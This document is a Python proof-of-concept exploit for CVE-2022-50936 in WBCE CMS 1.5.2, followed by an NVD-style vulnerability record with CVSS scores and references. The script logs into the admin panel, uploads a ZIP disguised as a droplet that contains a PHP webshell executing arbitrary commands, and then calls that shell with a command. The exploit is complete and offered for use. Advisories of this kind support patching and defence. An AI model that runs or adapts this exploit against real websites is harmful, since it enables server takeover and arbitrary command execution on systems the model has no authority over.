CVE-2022-50936

import zipfile import os import requests # CVE-2022-50936 PoC - WBCE CMS 1.5.2 Authenticated RCE via Droplet Upload # Target: WBCE CMS <= 1.5.2 # Attack Type: Remote Code Execution via malicious droplet ZIP upload TARGET_URL = "http://target-website.com/admin/admintools/tool.php" LOGIN_URL = "http://target-website.com/admin/login/index.php" USERNAME = "admin" PASSWORD = "password" # Create malicious PHP webshell disguised as droplet webshell_content = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" # Create malicious droplet ZIP file zip_filename = "malicious_droplet.zip" with zipfile.ZipFile(zip_filename, 'w') as zf: # Droplet files typically need specific naming convention zf.writestr("droplet.php", webshell_content) zf.writestr("droplet.xml", "<droplet><name>evil</name></droplet>") # Step 1: Authenticate to get session cookie session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD, 'submit': 'Login' } resp = session.post(LOGIN_URL, data=login_data) # Step 2: Upload malicious droplet ZIP via admin tools files = {'file': open(zip_filename, 'rb')} upload_data = { 'tool': 'droplets', 'action': 'upload' } upload_resp = session.post(TARGET_URL, files=files, data=upload_data) # Step 3: Execute the planted webshell webshell_url = "http://target-website.com/media/droplets/droplet.php" cmd_data = {'cmd': 'whoami'} exec_resp = session.get(webshell_url, params=cmd_data) print(exec_resp.text) os.remove(zip_filename) print("[+] Exploitation completed - RCE achieved")

{"cve": {"id": "CVE-2022-50936", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:58.703", "lastModified": "2026-01-20T17:58:42.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WBCE CMS version 1.5.2 contains an authenticated remote code execution vulnerability that allows attackers to upload malicious droplets through the admin panel. Authenticated attackers can exploit the droplet upload functionality in the admin tools to create and execute arbitrary PHP code by crafting a specially designed zip file payload."}, {"lang": "es", "value": "WBCE CMS versión 1.5.2 contiene una vulnerabilidad de ejecución remota de código autenticada que permite a los atacantes subir 'droplets' maliciosos a través del panel de administración. Los atacantes autenticados pueden explotar la funcionalidad de subida de 'droplets' en las herramientas de administración para crear y ejecutar código PHP arbitrario mediante la elaboración de una carga útil de archivo zip especialmente diseñada."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wbce:wbce_cms:1.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "96B45806-EBC0-41D2-A686-493ABEBC953D"}]}]}], "references": [{"url": "https://github.com/WBCE/WBCE_CMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wbce.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wbce.org/de/downloads/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50707", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/wbce-cms-remote-code-execution-rce-authenticated", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}